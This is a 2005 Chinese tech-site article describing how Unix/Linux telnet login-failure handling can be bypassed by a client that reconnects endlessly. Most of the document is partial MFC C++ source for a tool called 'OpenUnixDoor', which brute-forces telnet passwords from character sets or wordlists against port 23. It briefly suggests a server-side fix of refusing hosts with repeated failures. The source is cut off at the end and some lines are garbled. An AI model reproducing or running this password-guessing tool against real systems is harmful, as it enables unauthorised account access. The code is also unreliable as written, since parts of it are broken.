频 道 直 达 - 新闻 - 读书 - 培训 - 教程 - 前沿 - 组网 - 系统应用 - 安全 - 编程 - 存储 - 操作系统 - 数据库 - 服务器 - 专题 - 产品 - 案例库 - 技术圈 - 博客 - BBS
51CTO.COM_中国领先的IT技术网站
找资料:

Unix/Linux用户密码的猜解(附源文件)

作者:   (  ) 砖  (  ) 好  评论 ( ) 条  进入论坛
更新时间:2005-08-12 15:30
关 键 词:Linux  UNIX
阅读提示: Unix/Linux操作系统对远程多次登录失败的处理是断开与对方的连接,在这种情况下,正在登录的客户端软件会因服务方的连接中断而中止。这一安全策略对付穷举密码攻击是很有效的,因为攻击者在服务方断开连接后重新进行连接的时间代价是很大的。 事实上,这一安全策略有一个很大的隐患……

Unix/Linux对远程登录失败的处理,存在安全隐患

Unix/Linux操作系统对远程多次登录失败的处理是断开与对方的连接,在这种情况下,正在登录的客户端软件会因服务方的连接中断而中止。这一安全策略对付穷举密码攻击是很有效的,因为攻击者在服务方断开连接后重新进行连接的时间代价是很大的。
事实上,这一安全策略有一个很大的隐患-----它的策略实现要依靠客户端软件的合作,它要求客户端软件在服务方断开连接后退出或中止,以达到延时的目的。如果客户软件不合作,没有退出以完成延时,而是以最小的延时重新连接并登录服务方,那么服务方以延时为目的的安全策略将很难达到它的目的。这样,客户方就可以猜解服务方的用户密码了。
网络协议的服务/客户端都是一个有限状态机,客户的状态机可以抽象简化为图1,图1表示的意义是:客户状态机在网络建立连接后,由“开始”转入“用户认证”,如果认证失败则转到“结束”,如果认证成功则请求服务方向客户方提供各种服务。操作系统自带的网络客户程序(注意区别于网络客户)被有意设计成软件的运行状态随网络客户状态机的变化而变化,也就是当网络客户机转向结束时程序也结束。服务方正是通过控制客户状态机来控制客户程序的运行,进而实现它的安全策略。在使用WinNT/2000、Unix/Linux自带的Telnet客户程序或FTP客户程序登录Unix/Linux服务器时,上面所述的安全策略就起到了作用,它可以令客户程序自动退出。


如果现在不使用操作系统自带的网络客户软件,而是使用重新设计网络客户软件,这个网络客户的状态机如图2所示。
图2所示状态机表示的意义是:当客户状态机状态转到“结束”时,又自动转到“开始”,即状态机永远循环没有退出,同时客户软件的状态也独立于状态机状态,即状态机退出时客户软件不退出。根据图2所示状态机设计的网络客户软件可以使Unix/Linux对远程登录失败处理的安全策略失去作用。在10/100M以太局域网络中,按照上面思路设计的客户端软件可在120分钟内猜测完所有由数字组成的六字符密码。

下图是本文所述软件工作时的界面:

下面给出部分程序的源代码(用… …略去了VC++自动生成的代码)
点击这里下载源文件。
WinNT/2000处理多次登录失败的策略是锁定帐号,这一策略优于Unix/Linux的安全策略,但是存在另外的安全问题,本人已有文章具体论述。解决Unix/Linux这一安全隐患的办法是,网络服务软件记录多次登录失败的主机地址或主机名,在建立新的连接时不与记录的主机连接。

下面给出部分程序的源代码(用… …略去了VC++自动生成的代码):
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// OpenUnixDoorDlg.h : header file
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/*
*OpenUnixDoor Developer: DING Xiaoping
*Send comments and/or bug reports to: northsouth@163.com
*/
#include                        //add for Cevent
//通信原语
const      unsigned char IAC_IS                  = '0';
const      unsigned char IAC_SEND            = '1';
const      unsigned char IAC_INFO            = '2';
const      unsigned char IAC_VAR            = '0';
const      unsigned char IAC_VALUE            = '1';
const      unsigned char IAC_ESC              = '2';
const      unsigned char IAC_USERVAR      = '3';
const      unsigned char IAC_SE                  = 240;
const      unsigned char IAC_NOP            = 241;
const      unsigned char IAC_DataMark      = 242;
const      unsigned char IAC_BRK            = 243;
const      unsigned char IAC_IP                  = 244;
const      unsigned char IAC_AO            = 245;
const      unsigned char IAC_AYT            = 246;
const      unsigned char IAC_EC                  = 247;
const      unsigned char IAC_EL                  = 248;
const      unsigned char IAC_GA            = 249;
const      unsigned char IAC_SB                  = 250;
const      unsigned char IAC_WILL             = 251;
const      unsigned char IAC_WONT             = 252;
const      unsigned char IAC_DO             = 253;
const      unsigned char IAC_DONT       = 254;
const      unsigned char IAC_IAC             = 255;
//
#define MAX_BUFFER 1024
#define MAX_LINELENGTH 100
#define SETPRATE " \t\n\r"
//
// COpenUnixDoorDlg dialog
class CClientSocket;
class COpenUnixDoorDlg : public CDialog
{
// Construction
public:
   void InitDlg();
///////////////////////////for NVT
   COpenUnixDoorDlg(CWnd* pParent = NULL);            // standard constructor
   BOOL ReceiveData(CClientSocket *pClSt);                  //Receive data for server
   BOOL SendData(CString strSend);                              //Send data to server
   BOOL ProcessOption();                                    //Process option.
   int ProcessLine(unsigned char *cBuffer,int iRecv,int& iProcess);
   void ArrangeReply(CString strOption);
   void RespondToOptions();
   int Find(CString str, char ch);
   void ReConnect();
//////////////////////////for logon
   BOOL Logon();                                          //logon   unix
   BOOL GetUserInput();
   BOOL GetPassChar(CString strSelect);
   BOOL RepairSocket();
   void CloseSocket();
   void LockView();
/////////////////////////for NVT      
   unsigned char cBuffer[MAX_BUFFER];                  //copy data from socket
   CString strRecvData;                                    //receive's data
   CString strSendData;                                    // for send
   CString strDisplay;                                    // for display
   CStringList m_ListOptions;                              // for option
   BOOL   bNegotiating;                                    
   BOOL   bOptionsSent;
   CString m_strResp;
///////////////////////for password and user
   CString strHostName;                                    //host
   CString strPassDir;                                    //密码文件路径
   CString strUserDir;                                    //用户名文件路径
   CString strPassCount;                                    //密码字符数
   int   iAlreadyPassC;
   CString strPassChar;                                    
   CString strUserName;
   int   iCheckUser;                                //IDC_CHECK_USER
   BOOL   bUserFinished;                        //TRUE:FINISHED,FAILED:NO FINISHED;
   BOOL   bPassFinished;                        //TRUE:FINISHED,FAILED:NO FINISHED;
   BOOL   bIsStop;                                  //TRUE:YES;
///////////////////////for password and user
// Dialog Data
   //{{AFX_DATA(COpenUnixDoorDlg)
   enum { IDD = IDD_OPENUNIXDOOR_DIALOG };
   CSpinButtonCtrl      m_SpinPass;
   CComboBox            m_ComPass;
   CButton                  m_CheckUser;
   int                        m_iPassCount;
   //}}AFX_DATA
   //{{AFX_VIRTUAL(COpenUnixDoorDlg)
   protected:
   virtual void DoDataExchange(CDataExchange* pDX);      // DDX/DDV support
   //}}AFX_VIRTUAL
// Implementation
protected:
   HICON m_hIcon;
   CClientSocket *pSocket;
   // Generated message map functions
   //{{AFX_MSG(COpenUnixDoorDlg)
   virtual BOOL OnInitDialog();
   afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
   afx_msg void OnPaint();
   afx_msg HCURSOR OnQueryDragIcon();
   afx_msg void OnBtBegin();
   afx_msg void OnBtExit();
   afx_msg void OnBtUserdir();
   afx_msg void OnCheckUser();
   afx_msg void OnBtPassdir();
   afx_msg void OnSelendokComboPass();
   afx_msg void OnBtStop();
   afx_msg void OnBtHelp();
   //}}AFX_MSG
   DECLARE_MESSAGE_MAP()
};
/////////////////////////////////////////////////////////////////////////////
// CHelpDlg dialog
class CHelpDlg : public CDialog
{
// Construction
public:
   CHelpDlg(CWnd* pParent = NULL);   // standard constructor
// Dialog Data
   //{{AFX_DATA(CHelpDlg)
   enum { IDD = IDD_DIALOG_HELP };
   CEdit      m_Edit_HelpCtr;
   //}}AFX_DATA
   
// Overrides
   // ClassWizard generated virtual function overrides
   //{{AFX_VIRTUAL(CHelpDlg)
   public:
   virtual int DoModal();
   protected:
   virtual void DoDataExchange(CDataExchange* pDX);   // DDX/DDV support
   //}}AFX_VIRTUAL
// Implementation
protected:
   // Generated message map functions
   //{{AFX_MSG(CHelpDlg)
   virtual BOOL OnInitDialog();
   afx_msg void OnBtMypro();
   //}}AFX_MSG
   DECLARE_MESSAGE_MAP()
};
//{{AFX_INSERT_LOCATION}}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// OpenUnixDoorDlg.cpp
//
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/*
*OpenUnixDoor Developer: DING Xiaoping
*Send comments and/or bug reports to: northsouth@163.com
*/
#include "stdafx.h"
#include "OpenUnixDoor.h"
#include "OpenUnixDoorDlg.h"
#include "ClientSocket.h"
//this for debug
#define DXPDEBUG      1                  //调试设置
#if DXPDEBUG
   FILE *fp=NULL;                        //调试输出文件
#endif
//定义同步及临界资源
   CEvent gEventNextPass;                  //取下一个密码,为实现同步引进
   CEvent gEventPassOk;                  //已取得密码,为实现同步引进
   CEvent gEventNextUser;                  //取下一个用户名,为实现同步引进
   CEvent gEventUserOk;                  //已取得用户名,为实现同步引进
   CEvent gEventDisConncet;
   CString strCurPass;                  //当前密码
   CString strCurUser;                  //当前用户名
//定义线程
   CWinThread *pUserThread   = NULL,                  //枚举用户名线程
                  *pPassWordThread = NULL,            //枚举用户密码线程
                  *pLogonThread   = NULL;            //登录线程
   UINT UserThread(COpenUnixDoorDlg *pDlg);
   UINT PassWordThread(COpenUnixDoorDlg *pDlg);
   UINT PassWordThreadF(COpenUnixDoorDlg *pDlg);
   UINT LogonThread(COpenUnixDoorDlg *pDlg);
/////////////////////////////////////////////////////////////////////////////
… …
/////////////////////////////////////////////////////////////////////////////
// COpenUnixDoorDlg dialog
COpenUnixDoorDlg::COpenUnixDoorDlg(CWnd* pParent /*=NULL*/)
   : CDialog(COpenUnixDoorDlg::IDD, pParent)
{
   //{{AFX_DATA_INIT(COpenUnixDoorDlg)
   m_iPassCount = 1;
   //}}AFX_DATA_INIT
   m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
void COpenUnixDoorDlg::DoDataExchange(CDataExchange* pDX)
{
   CDialog::DoDataExchange(pDX);
   //{{AFX_DATA_MAP(COpenUnixDoorDlg)
   DDX_Control(pDX, IDC_SPIN_PASS, m_SpinPass);
   DDX_Control(pDX, IDC_COMBO_PASS, m_ComPass);
   DDX_Control(pDX, IDC_CHECK_USER, m_CheckUser);
   DDX_Text(pDX, IDC_ET_PASSCOUNT, m_iPassCount);
   DDV_MinMaxInt(pDX, m_iPassCount, 1, 12);
   //}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(COpenUnixDoorDlg, CDialog)
… …
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// COpenUnixDoorDlg message handlers
BOOL COpenUnixDoorDlg::OnInitDialog()
{
… …
   InitDlg();
   return TRUE; // return TRUE unless you set the focus to a control
}
void COpenUnixDoorDlg::InitDlg()
{
   CString s1;
   GetDlgItem(IDC_ET_USERDIR)->EnableWindow(FALSE);
   GetDlgItem(IDC_ET_PASSFLDIR)->EnableWindow(FALSE);
   GetDlgItem(IDC_BT_USERDIR)->EnableWindow(FALSE);
   GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(FALSE);
   s1.LoadString(IDS_PASS_ALLNUMBER);                  //所有数字字符;
   m_ComPass.AddString(s1.operator LPCTSTR());//0
   m_ComPass.SetCurSel(0);
   s1.LoadString(IDS_PASS_ZIDINGYI);                        //自定义字符集;
   m_ComPass.AddString(s1.operator LPCTSTR());//1
   s1.LoadString(IDS_PASS_ZIDIAN);                         //字典;
   m_ComPass.AddString(s1.operator LPCTSTR());//2
   s1.LoadString(IDS_PASS_ALLENLOW);                  //所有小写英文字符;
   m_ComPass.AddString(s1.operator LPCTSTR());//3
   s1.LoadString(IDS_PASS_ALLENUP);                  //所有大写英文字符;
   m_ComPass.AddString(s1.operator LPCTSTR());//4
   s1.LoadString(IDS_PASS_NUMANDLOW);                  //数字和英文小写混合;
   m_ComPass.AddString(s1.operator LPCTSTR());//5
   s1.LoadString(IDS_PASS_NUMANDLOWUP);            //数字和英文大小写混合
   m_ComPass.AddString(s1.operator LPCTSTR());//6
   s1.LoadString(IDS_PASS_ALL);                              //所有键盘可输入字符;
   m_ComPass.AddString(s1.operator LPCTSTR());//7
   m_SpinPass.SetBuddy(GetDlgItem(IDC_ET_PASSCOUNT));
   m_SpinPass.SetRange(1,12);
   iAlreadyPassC=0;
   bIsStop=FALSE;
   CTime t=CTime::GetCurrentTime();
   s1=t.Format("%H:%M:%S");
   SetDlgItemText(IDC_STC_BEGINTIME,s1);
   pSocket=NULL;
#if      DXPDEBUG
   SetDlgItemText(IDC_ET_HOSTNAME,"192.168.42.63");
   SetDlgItemText(IDC_ET_USERNAME,"ods");
   SetDlgItemText(IDC_ET_PASSFLDIR,"dos");
   SetDlgItemInt(IDC_ET_PASSCOUNT,3,FALSE);
#endif
}
void COpenUnixDoorDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
   if ((nID & 0xFFF0) == IDM_ABOUTBOX)
   {
         CAboutDlg dlgAbout;
         dlgAbout.DoModal();
   }
   else
   {
         CDialog::OnSysCommand(nID, lParam);
   }
}
void COpenUnixDoorDlg::OnPaint()
{
         … …
}
HCURSOR COpenUnixDoorDlg::OnQueryDragIcon()
{
   return (HCURSOR) m_hIcon;
}
void COpenUnixDoorDlg::OnBtBegin()
{
#if DXPDEBUG
   fp=fopen("dxpdebug.txt","w");
   fprintf(fp,"%s is ip addr.",strHostName.operator LPCTSTR());
#endif
   CString s1,s2;
   if( ! GetUserInput() )
         return;
   //建立用户名线程,枚举用户名线程
   bUserFinished = TRUE ;
   if( iCheckUser ){
         pUserThread = AfxBeginThread((AFX_THREADPROC)UserThread,
                                       (LPVOID)this, THREAD_PRIORITY_NORMAL);
         if( pUserThread == NULL ){
               s1.LoadString(IDS_THREADERRO);
               s2.LoadString(IDS_MESSAGE_CAPTION);
               MessageBox(s1,s2);
               return ;
         }
         pUserThread->m_bAutoDelete = TRUE;
         bUserFinished = FALSE;
   }
   //建立密码线程,枚举用户密码线程
   bPassFinished=TRUE;
   s1.LoadString(IDS_PASS_ZIDIAN);
   m_ComPass.GetWindowText(s2);
   if( s1 == s2){
         pPassWordThread = AfxBeginThread((AFX_THREADPROC)PassWordThreadF,
                                             (LPVOID)this, THREAD_PRIORITY_NORMAL);
   }else{
         GetPassChar( s2 );
         pPassWordThread = AfxBeginThread((AFX_THREADPROC)PassWordThread,
                                             (LPVOID)this, THREAD_PRIORITY_NORMAL);
   }
   if( pPassWordThread == NULL )
   {
         s1.LoadString(IDS_THREADERRO);
         s2.LoadString(IDS_MESSAGE_CAPTION);
         MessageBox(s1,s2);
         return ;
   }
   pPassWordThread->m_bAutoDelete=FALSE;
   bPassFinished=FALSE;
   //建立登录线程
   RepairSocket();
   LockView();
   //界面控制线程
}
BOOL COpenUnixDoorDlg::ReceiveData(CClientSocket *pClSt)
{
   int iRecv,iProc;
   iProc = 0;
   iRecv = pClSt->Receive(cBuffer,MAX_BUFFER);
   if(SOCKET_ERROR != iRecv)
   {
         ProcessLine(cBuffer,iRecv,iProc);                  //处理接收的数据
         ProcessOption();                                    //处理接收数据中的协议数据
         Logon();                                          //完成尝试登录
   }
   strRecvData.Empty();
   strDisplay.Empty();
   return 1;
}
BOOL COpenUnixDoorDlg::SendData(CString strSend)
{
   //向服务器发送数据
   pSocket->Send(strSend,strSend.GetLength());
   return 1;
}
BOOL COpenUnixDoorDlg::ProcessOption()
{
   //处理协议数据
   CString m_strTemp;
   CString m_strOption;
   unsigned char ch;
   int ndx;
   int ldx;
   BOOL bScanDone = FALSE;
   m_strTemp = strRecvData;
   while( !m_strTemp.IsEmpty() && bScanDone != TRUE)
   {
         ndx = m_strTemp.Find(IAC_IAC);
         if(ndx != -1)
         {
               strDisplay += m_strTemp.Left( ndx );
               ch = m_strTemp.GetAt( ndx + 1 );
//////////////////////////////////////////////
#if      DXPDEBUG
         switch(ch)
         {
               case IAC_NOP:
                     fprintf(fp, "got a DataMark\r\n");
                     break;
               case IAC_DataMark:
                     fprintf(fp, "got a DataMark\r\n");
                     break;
               case IAC_BRK:
                     fprintf(fp, "got a BRK\r\n");
                     break;
               case IAC_IP:
                     fprintf(fp, "got a IP\r\n");
                     break;
               case IAC_AO:
                     fprintf(fp, "got a AO\r\n");
                     break;
               case IAC_AYT:
                     fprintf(fp, "got a AYT\r\n");
                     break;
               case IAC_EC:
                     fprintf(fp, "got a EC\r\n");
                     break;
               case IAC_EL:
                     fprintf(fp, "got a EL\r\n");
                     break;
               case IAC_GA:
                     fprintf(fp, "got a GA\r\n");
                     break;
               case IAC_SB:
                     fprintf(fp, "got a IAC_SB\r\n");
                     break;
               case IAC_IAC:
                     fprintf(fp, "got a IAC\r\n");
                     break;
               default:
                     fprintf(fp, "%s got unknown command (%d)\r\n",strDisplay.operator LPCTSTR ());
         }
#endif
//////////////////////////////////////////////////////////////////
            switch(ch)
               {
               case IAC_DO:
               case IAC_DONT:
               case IAC_WILL:
               case IAC_WONT:
                     m_strOption            = m_strTemp.Mid(ndx, 3);
#if      DXPDEBUG
         fprintf(fp, "WONT:%s\r\n",m_strOption.operator LPCTSTR ());
#endif
                     m_strTemp            = m_strTemp.Mid(ndx + 3);
                     strDisplay= m_strTemp.Left(ndx);
                     m_ListOptions.AddTail(m_strOption);
                     break;
               case IAC_IAC:
                     strDisplay      = m_strTemp.Left(ndx);
                     m_strTemp            = m_strTemp.Mid(ndx + 1);
#if DXPDEBUG
   fprintf(fp, "IAC: Option\r\n",m_strTemp.operator LPCTSTR ());
#endif
                     break;
               case IAC_SB:
                     strDisplay = m_strTemp.Left(ndx);
                     ldx = Find(m_strTemp, IAC_SE);
                     m_strOption            = m_strTemp.Mid(ndx, ldx);
#if DXPDEBUG
   fprintf(fp, "SB:%s\r\n",m_strOption.operator LPCTSTR ());
#endif
                     m_ListOptions.AddTail(m_strOption);
                     m_strTemp            = m_strTemp.Mid(ldx);
               //      AfxMessageBox(m_strOption,MB_OK);
                     break;
               default:
                     bScanDone = TRUE;
               }
         }
         else
         {
               strDisplay = m_strTemp;
#if DXPDEBUG
         fprintf(fp, "normaltext:%s\r\n",m_strTemp.operator LPCTSTR ());
#endif
         //      AfxMessageBox(m_strNormalText,MB_OK);
               bScanDone = TRUE;
         }
   }
   
   RespondToOptions();
   return 1;
}
int COpenUnixDoorDlg::ProcessLine(unsigned char *cBuffer,int iRecv,int& iProcess)
{
   BOOL bLine = FALSE;
   unsigned char ch;
   
   while ( bLine == FALSE && iProcess < iRecv )
   {
          ch= cBuffer[iProcess];
         //Window
         switch( ch )
         {
         case '\r': // ignore
               strRecvData += "\r\n"; //"CR";
               break;
         case '\n': // end-of-line
               break;
         default:   // other....
               strRecvData += ch;
               break;
         }
         iProcess ++;
         if (iProcess == iRecv)
         {
               bLine = TRUE;
         }
   }
   return bLine;
}
void COpenUnixDoorDlg::RespondToOptions()
{
   CString strOption;
   
   while(!m_ListOptions.IsEmpty())
   {
         strOption = m_ListOptions.RemoveHead();
         ArrangeReply(strOption);
   }
   SendData(strSendData);
   m_strResp.Empty();
}
void COpenUnixDoorDlg::ArrangeReply(CString strOption)
{
   unsigned char Verb;
   unsigned char Option;
   unsigned char Modifier;
   unsigned char ch;
   BOOL bDefined = FALSE;
   if(strOption.GetLength() < 3) return;
   Verb = strOption.GetAt(1);
   Option = strOption.GetAt(2);
   switch(Option)
   {
   case 1:      // Echo
   case 3: // Suppress Go-Ahead
         bDefined = TRUE;
         break;
   }
   m_strResp += IAC_IAC;
   if(bDefined == TRUE)
   {
         switch(Verb)
         {
         case IAC_DO:
               ch = IAC_WILL;
               m_strResp += ch;
               m_strResp += Option;
#if DXPDEBUG
   fprintf(fp, "DO: ch:%d Option:%d\r\n",ch,Option);
#endif
               break;
         case IAC_DONT:
               ch = IAC_WONT;
               m_strResp += ch;
               m_strResp += Option;
#if DXPDEBUG
   fprintf(fp, "DONT: ch:%d Option:%d\r\n",ch,Option);
#endif
               break;
         case IAC_WILL:
               ch = IAC_DO;
               m_strResp += ch;
               m_strResp += Option;
#if DXPDEBUG
   fprintf(fp, "WILL: ch:%d Option:%d\r\n",ch,Option);
#endif
               break;
         case IAC_WONT:
               ch = IAC_DONT;
               m_strResp += ch;
               m_strResp += Option;
#if DXPDEBUG
   fprintf(fp, "WONT: ch:%d Option:%d\r\n",ch,Option);
#endif
               break;
         case IAC_SB:
               Modifier = strOption.GetAt(3);
               if(Modifier == IAC_SEND)
               {
                     ch = IAC_SB;
                     m_strResp += ch;
                     m_strResp += Option;
                     m_strResp += IAC_IS;
                     m_strResp += IAC_IAC;
                     m_strResp += IAC_SE;
               }
#if DXPDEBUG
   fprintf(fp, "SB: ch:%d Option:%d \r\n",ch,Option);
#endif
               break;
         }
   }
   else
   {
         switch(Verb)
         {
         case IAC_DO:
               ch = IAC_WONT;
               m_strResp += ch;
               m_strResp += Option;
#if DXPDEBUG
   fprintf(fp, "DO: ch:%d Option:%d\r\n",ch,Option);
#endif
               break;
         case IAC_DONT:
               ch = IAC_WONT;
               m_strResp += ch;
               m_strResp += Option;
#if DXPDEBUG
   fprintf(fp, "DONT: ch:%d Option:%d\r\n",ch,Option);
#endif
               break;
         case IAC_WILL:
               ch = IAC_DONT;
               m_strResp += ch;
               m_strResp += Option;
#if DXPDEBUG
   fprintf(fp, "WILL: ch:%d Option:%d\r\n",ch,Option);
#endif
               break;
         case IAC_WONT:
               ch = IAC_DONT;
               m_strResp += ch;
               m_strResp += Option;
#if DXPDEBUG
   fprintf(fp, "WONT: ch:%d Option:%d\r\n",ch,Option);
#endif
               break;
         }
   }
}
int COpenUnixDoorDlg::Find(CString str, char ch)
{
   char* data = str.GetBuffer(0);
   int len = str.GetLength();
   int i = 0;
   for(i = 0; i < len; i++){
         if(data == ch)
               break;
   }
   str.ReleaseBuffer();
   return i;
}
void COpenUnixDoorDlg::OnBtExit()
{
#if DXPDEBUG
   if(fp!=NULL)fclose(fp);
#endif      
   //删除所有线程
         … …
   if(pSocket != NULL)
         delete pSocket;
   pSocket = NULL;
   CDialog::OnOK();
}
UINT UserThread(COpenUnixDoorDlg *pDlg)
{
         FILE *fUser;
         char cUser[MAX_LINELENGTH];
         char *token;
         CString s1,s2;
         CString strDir = pDlg->strUserDir;
         strDir.Replace("\\","\\\\");
         //strDir保存用户名的路径及文件名
   
         if( NULL == (fUser = fopen(strDir.operator LPCTSTR(),"r+")))
         {
               s1.LoadString(IDS_OPENFILEERRO);
               s2.LoadString(IDS_MESSAGE_CAPTION);
               strDir.Format(s1,strDir.operator LPCTSTR());
               MessageBox(GetActiveWindow(),strDir,s2,0);
               if(fUser != NULL)
                     fclose(fUser);
               pDlg->bUserFinished = TRUE;
               return 0;
         }
         while( ! feof( fUser ) )
         {
               if( NULL == fgets( cUser,MAX_LINELENGTH,fUser ))
               {
                     fclose( fUser );
                     pDlg->bUserFinished = TRUE;
                     return 0;
               }
               token = strtok( cUser,SETPRATE );// #define SETPRATE " \t\n\r"
         
               do
               {
                     WaitForSingleObject(gEventNextUser,INFINITE);
                                                               // 等待“新用户名”事件
                     gEventNextUser.ResetEvent();         //复位。
                     strCurUser = token;                     //改变当前用户名。
                     gEventUserOk.SetEvent();             //发送“用户名完成”事件
               }while((token = strtok(NULL,SETPRATE)) != NULL);
         }//while end
         pDlg->bUserFinished = TRUE;
         gEventUserOk.SetEvent();
         return 0;
}
UINT PassWordThread(COpenUnixDoorDlg *pDlg)
{
/*
**
**
**      strPass-> | a      | b      | c      | d      |
**                     \/   |      
**                     /\       |      
**       iPPos   | 1      | 0      | 2      |
**
** 例如:str="abcd",iCount=3,当iPPos=102 时表示字串"bac"
**
*/
   int j;
   int iCount=pDlg->m_iPassCount;
   int k=iCount-1;
   CString strPass=pDlg->strPassChar;
   int iPCount=strPass.GetLength() ;
   CString strTemp;
   int iPPos[MAX_LINELENGTH];
   for(j = 0;( j           iPPos[j] = 0;
   
   do{
         while( iPPos[0] < iPCount )
         {
               while( iPPos[k] < iPCount ){
                     strTemp.Empty();
                     for(j = 0;j < iCount; j++ ){
                           strTemp.Insert(j,strPass.GetAt(iPPos[j]));
                     }
                     WaitForSingleObject(gEventNextPass,INFINITE);
                                       // 等待“新密码”事件
                     gEventNextPass.ResetEvent();            //复位。
                     strCurPass=strTemp;                        //改变当前密码。
                     gEventPassOk.SetEvent();                  //送密码完成事件
#if DXPDEBUG
               fprintf(fp, "%s\r\n",strCurPass.operator LPCTSTR ());
#endif            
                     iPPos[k]++;
               }
         
               iPPos[k] = 0;      //末位清零
               for(j = iCount-2;j >= 0;j--)
               {
                     if(( iPPos[j]+=1 )==iPCount && j != 0 )
                           iPPos[j] = 0;
                     else break;
                     //完成iCount进制加法运算
               }
         }//while
         if(!pDlg->bUserFinished){
               gEventNextUser.SetEvent();                               //发送“新用户名”事件
               WaitForSingleObject(gEventUserOk,INFINITE); //等待“用户名完成”事件
               gEventUserOk.ResetEvent();                               //复位。
         }
   }while(!pDlg->bUserFinished);
   
   pDlg->bPassFinished=TRUE;
   gEventPassOk.SetEvent();
   return 0;
}
UINT PassWordThreadF(COpenUnixDoorDlg *pDlg)
{
         FILE *fPass;
         char cPass[MAX_LINELENGTH];
         char *token;
         CString s1,s2;
         CString strFile=pDlg->strPassDir;
         strFile.Replace("\\","\\\\");
         //strFile保存密码文件的路径及文件名
         if(NULL == ( fPass = fopen(strFile.operator LPCTSTR(),"r+")) )
         {
               s1.LoadString(IDS_OPENFILEERRO);
               s2.LoadString(IDS_MESSAGE_CAPTION);
               strFile.Format(s1,strFile.operator LPCTSTR());
               MessageBox(GetActiveWindow(),strFile,s2,0);
               
               if( fPass != NULL )
                     fclose( fPass );
               pDlg->bPassFinished=TRUE;
               return 0;
         }
   do{
         while(!feof(fPass))
         {
               if(NULL==fgets(cPass,MAX_LINELENGTH,fPass))
               {
                     fclose(fPass);
                     break;
               }
               token=strtok(cPass,SETPRATE);// #define SETPRATE " \t\n\r"
         
               do
               {
                     WaitForSingleObject(gEventNextPass,INFINITE);
                                                                     // 等待“新用户密码”事件
                     gEventNextPass.ResetEvent();                  //复位。
                     strCurPass=token;                              //改变当前用户密码。
                     gEventPassOk.SetEvent();                        //发送“用户密码完成”事件
               }while((token=strtok(NULL,SETPRATE))!=NULL);
         }//while
         if(!pDlg->bUserFinished){
               gEventNextUser.SetEvent();               //发送“新用户名”事件
               WaitForSingleObject(gEventUserOk,INFINITE); //等待“用户名完成”事件
               gEventUserOk.ResetEvent();               //复位。
         }
   }while(!pDlg->bUserFinished);
   pDlg->bPassFinished=TRUE;
   gEventPassOk.SetEvent();
   return 0;
}
UINT LogonThread(COpenUnixDoorDlg *pDlg)
{
   pDlg->ReConnect();
   return 0;
}
void COpenUnixDoorDlg::ReConnect()
{
   BOOL bOK;
   if(pSocket != NULL)delete pSocket;
   pSocket=new CClientSocket(this) ;
   
   if( pSocket != NULL){
         bOK=pSocket->Create();
         if(bOK == TRUE){
               bOK = pSocket->AsyncSelect(FD_READ | FD_WRITE| FD_CLOSE | FD_CONNECT | FD_OOB);
               bOK = pSocket->Connect(strHostName,23);      
         }else{
               delete pSocket;
         }
   }else{
         AfxMessageBox("Could not create new socket",MB_OK);
   }
}
BOOL COpenUnixDoorDlg::GetUserInput()
{
   CString s1;
   CString s2;
   s2.LoadString(IDS_MESSAGE_CAPTION);
   //check hostname
   GetDlgItemText(IDC_ET_HOSTNAME,strHostName);
   if(strHostName.IsEmpty()){
         s1.LoadString(IDS_MESSAGE1);
         MessageBox(s1,s2);
         return FALSE;
   }
   //check user name or user dir
   if(m_CheckUser.GetCheck()){
         GetDlgItemText(IDC_ET_USERDIR,strUserDir);
         if(strUserDir.IsEmpty()){
               s1.LoadString(IDS_MESSAGE2);
               MessageBox(s1,s2);
               return FALSE;
         }
   }else{
         GetDlgItemText(IDC_ET_USERNAME,strCurUser);
         if(strCurUser.IsEmpty()){
               s1.LoadString(IDS_MESSAGE2);
               MessageBox(s1,s2);
               return FALSE;
         }
   }
   iCheckUser=m_CheckUser.GetCheck();
   //
   m_iPassCount      =      GetDlgItemInt(IDC_ET_PASSCOUNT);
   //check password
   GetDlgItemText(IDC_ET_PASSFLDIR,strPassDir);
   return TRUE;
}
void COpenUnixDoorDlg::OnBtUserdir()
{
   CFileDialog m_dlg(IDS_INPUTDIR);
   if( m_dlg.DoModal() ){
         CString str = m_dlg.GetPathName();
         SetDlgItemText(IDC_ET_USERDIR,str.operator LPCTSTR());
   }
}
void COpenUnixDoorDlg::OnCheckUser()
{      
   if(m_CheckUser.GetCheck())
   {
         GetDlgItem(IDC_ET_USERDIR)->EnableWindow(TRUE);
         GetDlgItem(IDC_BT_USERDIR)->EnableWindow(TRUE);
         GetDlgItem(IDC_ET_USERNAME)->EnableWindow(FALSE);
   
   }else{
         GetDlgItem(IDC_ET_USERDIR)->EnableWindow(FALSE);
         GetDlgItem(IDC_BT_USERDIR)->EnableWindow(FALSE);
         GetDlgItem(IDC_ET_USERNAME)->EnableWindow(TRUE);
   
   }
}
void COpenUnixDoorDlg::OnBtPassdir()
{
   CFileDialog m_dlg(IDS_INPUTDIR);
   if( m_dlg.DoModal() ){
         CString str=m_dlg.GetPathName();
         SetDlgItemText(IDC_ET_PASSFLDIR,str.operator LPCTSTR());
   
   }
}
void COpenUnixDoorDlg::OnSelendokComboPass()
{
   CString s1,s2,s3;
   s1.LoadString(IDS_PASS_ZIDIAN);
   s2.LoadString(IDS_PASS_ZIDINGYI);
   
   m_ComPass.GetWindowText(s3);
   if(s1==s3 || s2==s3){
         GetDlgItem(IDC_ET_PASSFLDIR)->EnableWindow(TRUE);
         if(s2 == s3){
               GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(FALSE);
         }else{
               GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(TRUE);
         }
   }else{
         GetDlgItem(IDC_ET_PASSFLDIR)->EnableWindow(FALSE);
         GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(FALSE);
   
   }
}
BOOL COpenUnixDoorDlg::GetPassChar(CString strSelect)
{
   CString s1;
   s1.LoadString(IDS_PASS_ZIDINGYI);
   if(strSelect == s1){
         GetDlgItemText(IDC_ET_PASSFLDIR,strPassChar) ;return TRUE;
   }
